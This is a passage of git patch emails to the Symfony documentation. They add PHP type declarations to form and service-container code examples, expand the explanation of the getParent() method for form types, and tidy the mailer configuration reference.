-            ->add('message', TextareaType::class)
-            ->add('send', SubmitType::class)
-            ->getForm();
-
-        $form->handleRequest($request);
-
-        if ($form->isSubmitted() && $form->isValid()) {
-            // data is an array with "name", "email", and "message" keys
-            $data = $form->getData();
+        public function contact(Request $request): Response
+        {
+            $defaultData = ['message' => 'Type your message here'];
+            $form = $this->createFormBuilder($defaultData)
+                ->add('name', TextType::class)
+                ->add('email', EmailType::class)
+                ->add('message', TextareaType::class)
+                ->add('send', SubmitType::class)
+                ->getForm();
+
+            $form->handleRequest($request);
+
+            if ($form->isSubmitted() && $form->isValid()) {
+                // data is an array with "name", "email", and "message" keys
+                $data = $form->getData();
+            }
+
+            // ... render the form
         }
-
-        // ... render the form
     }
 
 By default, a form actually assumes that you want to work with arrays of
@@ -85,7 +92,7 @@ but here's a short example::
     use Symfony\Component\Validator\Constraints\Length;
     use Symfony\Component\Validator\Constraints\NotBlank;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder
             ->add('firstName', TextType::class, [
diff --git a/forms.rst b/forms.rst
index 6923660a016..12013e8fbfc 100644
--- a/forms.rst
+++ b/forms.rst
@@ -49,22 +49,22 @@ following ``Task`` class::
         protected $task;
         protected $dueDate;
 
-        public function getTask()
+        public function getTask(): string
         {
             return $this->task;
         }
 
-        public function setTask($task)
+        public function setTask(string $task): void
         {
             $this->task = $task;
         }
 
-        public function getDueDate()
+        public function getDueDate(): ?\DateTime
         {
             return $this->dueDate;
         }
 
-        public function setDueDate(\DateTime $dueDate = null)
+        public function setDueDate(?\DateTime $dueDate): void
         {
             $this->dueDate = $dueDate;
         }
@@ -122,10 +122,11 @@ use the ``createFormBuilder()`` helper::
     use Symfony\Component\Form\Extension\Core\Type\SubmitType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class TaskController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             // creates a task object and initializes some data for this example
             $task = new Task();
@@ -178,7 +179,7 @@ implements the interface and provides some utilities::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('task', TextType::class)
@@ -206,7 +207,7 @@ use the ``createForm()`` helper (otherwise, use the ``create()`` method of the
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             // creates a task object and initializes some data for this example
             $task = new Task();
@@ -241,7 +242,7 @@ the ``data_class`` option by adding the following to your form type class::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -265,10 +266,11 @@ to build another object with the visual representation of the form::
     use App\Form\Type\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class TaskController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             $task = new Task();
             // ...
@@ -374,34 +376,39 @@ Processing a form means to translate user-submitted data back to the properties
 of an object. To make this happen, the submitted data from the user must be
 written into the form object::
 
+    // src/Controller/TaskController.php
+
     // ...
     use Symfony\Component\HttpFoundation\Request;
 
-    public function new(Request $request)
+    class TaskController extends AbstractController
     {
-        // just setup a fresh $task object (remove the example data)
-        $task = new Task();
+        public function new(Request $request): Response
+        {
+            // just setup a fresh $task object (remove the example data)
+            $task = new Task();
 
-        $form = $this->createForm(TaskType::class, $task);
+            $form = $this->createForm(TaskType::class, $task);
 
-        $form->handleRequest($request);
-        if ($form->isSubmitted() && $form->isValid()) {
-            // $form->getData() holds the submitted values
-            // but, the original `$task` variable has also been updated
-            $task = $form->getData();
+            $form->handleRequest($request);
+            if ($form->isSubmitted() && $form->isValid()) {
+                // $form->getData() holds the submitted values
+                // but, the original `$task` variable has also been updated
+                $task = $form->getData();
 
-            // ... perform some action, such as saving the task to the database
-            // for example, if Task is a Doctrine entity, save it!
-            // $entityManager = $this->getDoctrine()->getManager();
-            // $entityManager->persist($task);
-            // $entityManager->flush();
+                // ... perform some action, such as saving the task to the database
+                // for example, if Task is a Doctrine entity, save it!
+                // $entityManager = $this->getDoctrine()->getManager();
+                // $entityManager->persist($task);
+                // $entityManager->flush();
 
-            return $this->redirectToRoute('task_success');
-        }
+                return $this->redirectToRoute('task_success');
+            }
 
-        return $this->render('task/new.html.twig', [
-            'form' => $form->createView(),
-        ]);
+            return $this->render('task/new.html.twig', [
+                'form' => $form->createView(),
+            ]);
+        }
     }
 
 This controller follows a common pattern for handling forms and has three
@@ -534,7 +541,7 @@ object.
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('task', new NotBlank());
 
@@ -571,7 +578,7 @@ argument of ``createForm()``::
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             $task = new Task();
             // use some PHP logic to decide if this form field is required or not
@@ -599,7 +606,7 @@ options they accept using the ``configureOptions()`` method::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 // ...,
@@ -623,7 +630,7 @@ Now you can use this new form option inside the ``buildForm()`` method::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -699,6 +706,7 @@ use the ``setAction()`` and ``setMethod()`` methods to change this::
     // src/Controller/TaskController.php
     namespace App\Controller;
 
+    // ...
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\Form\Extension\Core\Type\DateType;
     use Symfony\Component\Form\Extension\Core\Type\SubmitType;
@@ -706,7 +714,7 @@ use the ``setAction()`` and ``setMethod()`` methods to change this::
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             // ...
 
@@ -727,10 +735,11 @@ When building the form in a class, pass the action and method as form options::
 
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    // ...
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             // ...
 
@@ -775,10 +784,11 @@ method::
 
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    // ...
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             $task = ...;
             $form = $this->get('form.factory')->createNamed('my_name', TaskType::class, $task);
@@ -839,7 +849,7 @@ pass ``null`` to it, to enable Symfony's "guessing mechanism"::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // if you don't define field options, you can omit the second argument
@@ -897,16 +907,20 @@ If you need extra fields in the form that won't be stored in the object (for
 example to add an *"I agree with these terms"* checkbox), set the ``mapped``
 option to ``false`` in those fields::
 
+    // ...
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    class TaskType extends AbstractType
     {
-        $builder
-            ->add('task')
-            ->add('dueDate')
-            ->add('agreeTerms', CheckboxType::class, ['mapped' => false])
-            ->add('save', SubmitType::class)
-        ;
+        public function buildForm(FormBuilderInterface $builder, array $options): void
+        {
+            $builder
+                ->add('task')
+                ->add('dueDate')
+                ->add('agreeTerms', CheckboxType::class, ['mapped' => false])
+                ->add('save', SubmitType::class)
+            ;
+        }
     }
 
 These "unmapped fields" can be set and accessed in a controller with::

From 8f8621d99c344a3937f505ca12fade3a6e95f04a Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 8 Nov 2020 15:05:59 +0100
Subject: [PATCH 1515/7107] Added PHP types to the DI related articles

---
 service_container.rst                         |  4 ++--
 service_container/autowiring.rst              | 19 +++++++++++--------
 service_container/calls.rst                   |  4 ++--
 service_container/compiler_passes.rst         |  4 ++--
 service_container/configurators.rst           |  8 ++++----
 service_container/factories.rst               |  4 ++--
 service_container/injection_types.rst         |  6 +++---
 service_container/optional_dependencies.rst   |  2 +-
 service_container/parent_services.rst         |  2 +-
 .../service_subscribers_locators.rst          | 12 ++++++------
 service_container/synthetic_services.rst      |  2 +-
 service_container/tags.rst                    | 18 ++++++++++--------
 12 files changed, 45 insertions(+), 40 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index ff80ac27a14..09e26cd4d0b 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -340,7 +340,7 @@ you can type-hint the new ``SiteUpdateManager`` class and use it::
 
     // src/Controller/SiteController.php
     namespace App\Controller;
-    
+
     // ...
     use App\Service\SiteUpdateManager;
 
@@ -378,7 +378,7 @@ example, suppose you want to make the admin email configurable:
     +    private $adminEmail;
 
     -    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
-    +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, $adminEmail)
+    +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, string $adminEmail)
         {
             // ...
     +        $this->adminEmail = $adminEmail;
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 167fb4562f4..04058c6b9ac 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -29,7 +29,7 @@ Start by creating a ROT13 transformer class::
 
     class Rot13Transformer
     {
-        public function transform($value)
+        public function transform(string $value): string
         {
             return str_rot13($value);
         }
@@ -41,6 +41,7 @@ And now a Twitter client using this transformer::
     namespace App\Service;
 
     use App\Util\Rot13Transformer;
+    // ...
 
     class TwitterClient
     {
@@ -51,7 +52,7 @@ And now a Twitter client using this transformer::
             $this->transformer = $transformer;
         }
 
-        public function tweet($user, $key, $status)
+        public function tweet(User $user, string $key, string $status): void
         {
             $transformedStatus = $this->transformer->transform($status);
 
@@ -129,6 +130,8 @@ Now, you can use the ``TwitterClient`` service immediately in a controller::
 
     use App\Service\TwitterClient;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class DefaultController extends AbstractController
@@ -136,7 +139,7 @@ Now, you can use the ``TwitterClient`` service immediately in a controller::
         /**
          * @Route("/tweet", methods={"POST"})
          */
-        public function tweet(TwitterClient $twitterClient)
+        public function tweet(TwitterClient $twitterClient, Request $request): Response
         {
             // fetch $user, $key, $status from the POST'ed data
 
@@ -288,7 +291,7 @@ To follow this best practice, suppose you decide to create a ``TransformerInterf
 
     interface TransformerInterface
     {
-        public function transform($value);
+        public function transform(string $value): string;
     }
 
 Then, you update ``Rot13Transformer`` to implement it::
@@ -388,7 +391,7 @@ Suppose you create a second class - ``UppercaseTransformer`` that implements
 
     class UppercaseTransformer implements TransformerInterface
     {
-        public function transform($value)
+        public function transform(string $value): string
         {
             return strtoupper($value);
         }
@@ -426,7 +429,7 @@ the injection::
             $this->transformer = $shoutyTransformer;
         }
 
-        public function toot($user, $key, $status)
+        public function toot(User $user, string $key, string $status): void
         {
             $transformedStatus = $this->transformer->transform($status);
 
@@ -565,12 +568,12 @@ to inject the ``logger`` service, and decide to use setter-injection::
         /**
          * @required
          */
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             $this->logger = $logger;
         }
 
-        public function transform($value)
+        public function transform(string $value): string
         {
             $this->logger->info('Transforming '.$value);
             // ...
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 00069a2ccb2..78418aadf13 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -22,7 +22,7 @@ example::
     {
         private $logger;
 
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             $this->logger = $logger;
         }
@@ -97,7 +97,7 @@ instead of mutating the object they were called on::
         /**
          * @return static
          */
-        public function withLogger(LoggerInterface $logger)
+        public function withLogger(LoggerInterface $logger): self
         {
             $new = clone $this;
             $new->logger = $logger;
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index 4d959e93dc6..79f666a4237 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -52,7 +52,7 @@ and process the services inside the ``process()`` method::
 
         // ...
 
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // in this method you can manipulate the service container:
             // for example, changing some container service:
@@ -81,7 +81,7 @@ method in the extension)::
 
     class MyBundle extends Bundle
     {
-        public function build(ContainerBuilder $container)
+        public function build(ContainerBuilder $container): void
         {
             parent::build($container);
 
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 92c1afc5794..5331d0ba7ac 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -28,7 +28,7 @@ You start defining a ``NewsletterManager`` class like this::
     {
         private $enabledFormatters;
 
-        public function setEnabledFormatters(array $enabledFormatters)
+        public function setEnabledFormatters(array $enabledFormatters): void
         {
             $this->enabledFormatters = $enabledFormatters;
         }
@@ -45,7 +45,7 @@ and also a ``GreetingCardManager`` class::
     {
         private $enabledFormatters;
 
-        public function setEnabledFormatters(array $enabledFormatters)
+        public function setEnabledFormatters(array $enabledFormatters): void
         {
             $this->enabledFormatters = $enabledFormatters;
         }
@@ -65,7 +65,7 @@ in the application::
     {
         // ...
 
-        public function getEnabledFormatters()
+        public function getEnabledFormatters(): array
         {
             // code to configure which formatters to use
             $enabledFormatters = [...];
@@ -92,7 +92,7 @@ to create a configurator class to configure these instances::
             $this->formatterManager = $formatterManager;
         }
 
-        public function configure(EmailFormatterAwareInterface $emailManager)
+        public function configure(EmailFormatterAwareInterface $emailManager): void
         {
             $emailManager->setEnabledFormatters(
                 $this->formatterManager->getEnabledFormatters()
diff --git a/service_container/factories.rst b/service_container/factories.rst
index f6ccd5a1198..9f01e7dc7a6 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -26,7 +26,7 @@ object by calling the static ``createNewsletterManager()`` method::
 
     class NewsletterManagerStaticFactory
     {
-        public static function createNewsletterManager()
+        public static function createNewsletterManager(): NewsletterManager
         {
             $newsletterManager = new NewsletterManager();
 
@@ -180,7 +180,7 @@ factory service can be used as a callback::
     // ...
     class InvokableNewsletterManagerFactory
     {
-        public function __invoke()
+        public function __invoke(): NewsletterManager
         {
             $newsletterManager = new NewsletterManager();
 
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 097540bd8f6..6b7b74d1d24 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -130,7 +130,7 @@ by cloning the original service, this approach allows you to make a service immu
          * @required
          * @return static
          */
-        public function withMailer(MailerInterface $mailer)
+        public function withMailer(MailerInterface $mailer): self
         {
             $new = clone $this;
             $new->mailer = $mailer;
@@ -224,7 +224,7 @@ that accepts the dependency::
 
     // src/Mail/NewsletterManager.php
     namespace App\Mail;
-    
+
     // ...
     class NewsletterManager
     {
@@ -233,7 +233,7 @@ that accepts the dependency::
         /**
          * @required
          */
-        public function setMailer(MailerInterface $mailer)
+        public function setMailer(MailerInterface $mailer): void
         {
             $this->mailer = $mailer;
         }
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index ca702176341..b981877a942 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -113,7 +113,7 @@ In YAML, the special ``@?`` syntax tells the service container that the
 dependency is optional. The ``NewsletterManager`` must also be rewritten by
 adding a ``setLogger()`` method::
 
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             // ...
         }
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 561721a2a8a..de0d5658b15 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -26,7 +26,7 @@ you may have multiple repository classes which need the
             $this->objectManager = $objectManager;
         }
 
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             $this->logger = $logger;
         }
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index a9579bcfcc3..2fc0ec54fb1 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -87,7 +87,7 @@ a PSR-11 ``ContainerInterface``::
             $this->locator = $locator;
         }
 
-        public static function getSubscribedServices()
+        public static function getSubscribedServices(): array
         {
             return [
                 'App\FooCommand' => FooHandler::class,
@@ -130,7 +130,7 @@ service locator::
 
     use Psr\Log\LoggerInterface;
 
-    public static function getSubscribedServices()
+    public static function getSubscribedServices(): array
     {
         return [
             // ...
@@ -142,7 +142,7 @@ Service types can also be keyed by a service name for internal use::
 
     use Psr\Log\LoggerInterface;
 
-    public static function getSubscribedServices()
+    public static function getSubscribedServices(): array
     {
         return [
             // ...
@@ -159,7 +159,7 @@ typically happens when extending ``AbstractController``::
 
     class MyController extends AbstractController
     {
-        public static function getSubscribedServices()
+        public static function getSubscribedServices(): array
         {
             return array_merge(parent::getSubscribedServices(), [
                 // ...
@@ -176,7 +176,7 @@ errors if there's no matching service found in the service container::
 
     use Psr\Log\LoggerInterface;
 
-    public static function getSubscribedServices()
+    public static function getSubscribedServices(): array
     {
         return [
             // ...
@@ -395,7 +395,7 @@ will share identical locators among all the services referencing them::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    public function process(ContainerBuilder $container)
+    public function process(ContainerBuilder $container): void
     {
         // ...
 
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index 5a3ea59d276..59869d5d7f3 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -18,7 +18,7 @@ from within the ``Kernel`` class::
     {
         // ...
 
-        protected function initializeContainer()
+        protected function initializeContainer(): void
         {
             // ...
             $this->container->set('kernel', $this);
diff --git a/service_container/tags.rst b/service_container/tags.rst
index bbe7df1af6b..8bddd65c795 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -126,7 +126,7 @@ In a Symfony application, call this method in your kernel class::
     {
         // ...
 
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $container): void
         {
             $container->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
@@ -142,7 +142,7 @@ In a Symfony bundle, call this method in the ``load()`` method of the
     {
         // ...
 
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $container): void
         {
             $container->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
@@ -178,7 +178,7 @@ To begin with, define the ``TransportChain`` class::
             $this->transports = [];
         }
 
-        public function addTransport(\Swift_Transport $transport)
+        public function addTransport(\Swift_Transport $transport): void
         {
             $this->transports[] = $transport;
         }
@@ -304,7 +304,7 @@ container for any services with the ``app.mail_transport`` tag::
 
     class MailTransportPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // always first check if the primary service is defined
             if (!$container->has(TransportChain::class)) {
@@ -341,7 +341,7 @@ or from your kernel::
     {
         // ...
 
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $container): void
         {
             $container->addCompilerPass(new MailTransportPass());
         }
@@ -372,16 +372,18 @@ To begin with, change the ``TransportChain`` class::
             $this->transports = [];
         }
 
-        public function addTransport(\Swift_Transport $transport, $alias)
+        public function addTransport(\Swift_Transport $transport, $alias): void
         {
             $this->transports[$alias] = $transport;
         }
 
-        public function getTransport($alias)
+        public function getTransport($alias): ?\Swift_Transport
         {
             if (array_key_exists($alias, $this->transports)) {
                 return $this->transports[$alias];
             }
+
+            return null;
         }
     }
 
@@ -476,7 +478,7 @@ use this, update the compiler::
 
     class TransportCompilerPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // ...
 

From 68813a00f5b3b910789b06117a45fc083f251a90 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 4 Apr 2020 18:06:14 +0200
Subject: [PATCH 1516/7107] [Form] Added explicit `getParent()` call in types
 inheritance mechanism

---
 form/create_custom_field_type.rst | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 59816006041..f622d11c1e4 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -144,13 +144,23 @@ These are the most important methods that a form type class can define:
 
 ``configureOptions()``
     It defines the options configurable when using the form type, which are also
-    the options that can be used in ``buildForm()`` and ``buildView()`` methods.
+    the options that can be used in ``buildForm()`` and ``buildView()``
+    methods. Options are inherited from parent types and parent type
+    extensions, but you can create any custom option you need.
 
 ``finishView()``
     When creating a form type that consists of many fields, this method allows
     to modify the "view" of any of those fields. For any other use case, it's
     recommended to use instead the ``buildView()`` method.
 
+``getParent()``
+    It returns a form type class name that is defined as the parent. All
+    the other form type methods will be called with this parent type, and
+    all its type extensions, before calling the ones defined in your custom
+    type.
+    By default, all classes extend the ``AbstractType`` class, which
+    defines the ``FormType`` as the parent type.
+
 Defining the Form Type
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 97c94d77f4096b140da3ad303f7f3e9fa0ecdcb0 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 17:38:17 +0100
Subject: [PATCH 1517/7107] Updated getParent() description with the why/when
 (thanks javier!)

---
 form/create_custom_field_type.rst | 27 ++++++++++++++-------------
 1 file changed, 14 insertions(+), 13 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index f622d11c1e4..2d13673be33 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -55,13 +55,10 @@ By convention they are stored in the ``src/Form/Type/`` directory::
         }
     }
 
-The ``configureOptions()`` method, which is explained later in this article,
-defines the options that can be configured for the form type and sets the
-default value of those options.
-
-The ``getParent()`` method defines which is the form type used as the base of
-this type. In this case, the type extends from ``ChoiceType`` to reuse all of
-the logic and rendering of that field type.
+The methods of the ``FormTypeInterface`` are explained in detail later in
+this article. Here, ``getParent()`` method defines the base type
+(``ChoiceType``) and ``configureOptions()`` overrides some of its options.
+The resulting form type is a choice field with predefined choices.
 
 .. note::
 
@@ -154,12 +151,16 @@ These are the most important methods that a form type class can define:
     recommended to use instead the ``buildView()`` method.
 
 ``getParent()``
-    It returns a form type class name that is defined as the parent. All
-    the other form type methods will be called with this parent type, and
-    all its type extensions, before calling the ones defined in your custom
-    type.
-    By default, all classes extend the ``AbstractType`` class, which
-    defines the ``FormType`` as the parent type.
+    If your custom type is based on another type (i.e. they share some
+    functionality) add this method to return the fully-qualified class name
+    of that original type. Do not use PHP inheritance for this.
+    Symfony will call all the form type methods (``buildForm()``,
+    ``buildView()``, etc.) of the parent type and it will call all its type
+    extensions before calling the ones defined in your custom type.
+
+    By default, the ``AbstractType`` class returns the generic
+    :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`
+    type, which is the root parent for all form types in the Form component.
 
 Defining the Form Type
 ~~~~~~~~~~~~~~~~~~~~~~

From ad317c3e5c2e21bed3b2f5d60625d659b057fe54 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 20:42:21 +0100
Subject: [PATCH 1518/7107] [#14565] Minor formatting fixes

---
 mailer.rst                            | 17 +++++++++--------
 reference/configuration/framework.rst | 22 +++++++++++++++-------
 2 files changed, 24 insertions(+), 15 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ebf79865a72..1472d2ce2fa 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -70,16 +70,17 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
     If you are migrating from Swiftmailer (and the Swiftmailer bundle), be
     warned that the DSN format is different.
 
-Using built-in transports
+Using Built-in Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-============ ==================================== ===========
-DSN protocol Example                              Description
-============ ==================================== ===========
-smtp         smtp://user:pass@smtp.example.com:25 Mailer uses an SMTP server to send emails
-sendmail     sendmail://default                   Mailer uses the local sendmail binary to send emails
-============ ==================================== ===========
-
+============  ========================================  ==============================
+DSN protocol  Example                                   Description
+============  ========================================  ==============================
+smtp          ``smtp://user:pass@smtp.example.com:25``  Mailer uses an SMTP server to
+                                                        send emails
+sendmail      ``sendmail://default``                    Mailer uses the local sendmail
+                                                        binary to send emails
+============  ========================================  ==============================
 
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 255adc11fec..a1692037b12 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2906,21 +2906,27 @@ Name of the lock you want to create.
 mailer
 ~~~~~~
 
+.. versionadded:: 4.3
+
+    The ``mailer`` settings were introduced in Symfony 4.3.
+
 .. _mailer-dsn:
 
 dsn
 ...
 
-**type**: ``string``
+**type**: ``string`` **default**: ``null``
 
-The DSN used by the mailer. When several DSN may be used, use `transports` (see below) instead.
+The DSN used by the mailer. When several DSN may be used, use
+``transports`` option (see below) instead.
 
 transports
 ..........
 
 **type**: ``array``
 
-A :ref:`list of DSN <multiple-email-transports>` that can be used by the mailer. A transport name is the key and the dsn is the value.
+A :ref:`list of DSN <multiple-email-transports>` that can be used by the
+mailer. A transport name is the key and the dsn is the value.
 
 envelope
 ........
@@ -2930,14 +2936,16 @@ sender
 
 **type**: ``string``
 
-Sender used by the ``Mailer``. Keep in mind that this setting override a sender set in the code.
+Sender used by the ``Mailer``. Keep in mind that this setting override a
+sender set in the code.
 
 recipients
 """"""""""
 
 **type**: ``array``
 
-Recipients used by the ``Mailer``. Keep in mind that this setting override recipients set in the code.
+Recipients used by the ``Mailer``. Keep in mind that this setting override
+recipients set in the code.
 
 .. configuration-block::
 
@@ -2963,8 +2971,8 @@ Recipients used by the ``Mailer``. Keep in mind that this setting override recip
             <framework:config>
                 <framework:mailer dsn="smtp://localhost:25">
                     <framework:envelope>
-                        <framework:recipients>admin@symfony.com</framework:recipients>
-                        <framework:recipients>lead@symfony.com</framework:recipients>
+                        <framework:recipient>admin@symfony.com</framework:recipient>
+                        <framework:recipient>lead@symfony.com</framework:recipient>
                     </framework:envelope>
                 </framework:mailer>
             </framework:config>

From 676403e7020add302de8df03e7f37c87211ea4d8 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 20:42:54 +0100
Subject: [PATCH 1519/7107] Removed 4.3 versionadded directive

---
 reference/configuration/framework.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 9086078e30f..5d3f3cf1fde 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2797,10 +2797,6 @@ Name of the lock you want to create.
 mailer
 ~~~~~~
 
-.. versionadded:: 4.3
-
-    The ``mailer`` settings were introduced in Symfony 4.3.
-
 .. _mailer-dsn:
 
 dsn

From 34ad0b779d7a2fde362d86a0032732defb0e1539 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 21 Nov 2020 20:47:25 +0100
Subject: [PATCH 1520/7107] [#14083] Revert mailer.headers option in 4.4 - 5.1

---
 reference/configuration/framework.rst | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a1692037b12..e61e0e1365d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -160,8 +160,6 @@ Configuration
     * `sender`_
     * `recipients`_
 
-  * :ref:`headers <mailer-headers>`
-
 * `php_errors`_
 
   * `log`_
@@ -2996,16 +2994,6 @@ recipients set in the code.
             ]);
         };
 
-.. _mailer-headers:
-
-headers
-.......
-
-**type**: ``array``
-
-Headers to add to emails. key (``name`` attribute in xml format)
-is the header name and value the header value.
-
 workflows
 ~~~~~~~~~
 

From 1da6b0b5e30017e126228a94893ce505ccbeb270 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 17 Aug 2020 09:10:48 +0200
Subject: [PATCH 1521/7107] Complete documentation about mailer integration

---
 mailer.rst                            |  4 +++-
 reference/configuration/framework.rst | 16 ++++++++++++++++
 2 files changed, 19 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index ac768b09cde..8cab1b50659 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -46,6 +46,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
             <framework:config>
                 <framework:mailer dsn="%env(MAILER_DSN)%"/>
             </framework:config>
@@ -55,6 +56,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
 
         // config/packages/mailer.php
         use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
         return static function (ContainerConfigurator $containerConfigurator): void {
             $containerConfigurator->extension('framework', [
                 'mailer' => [
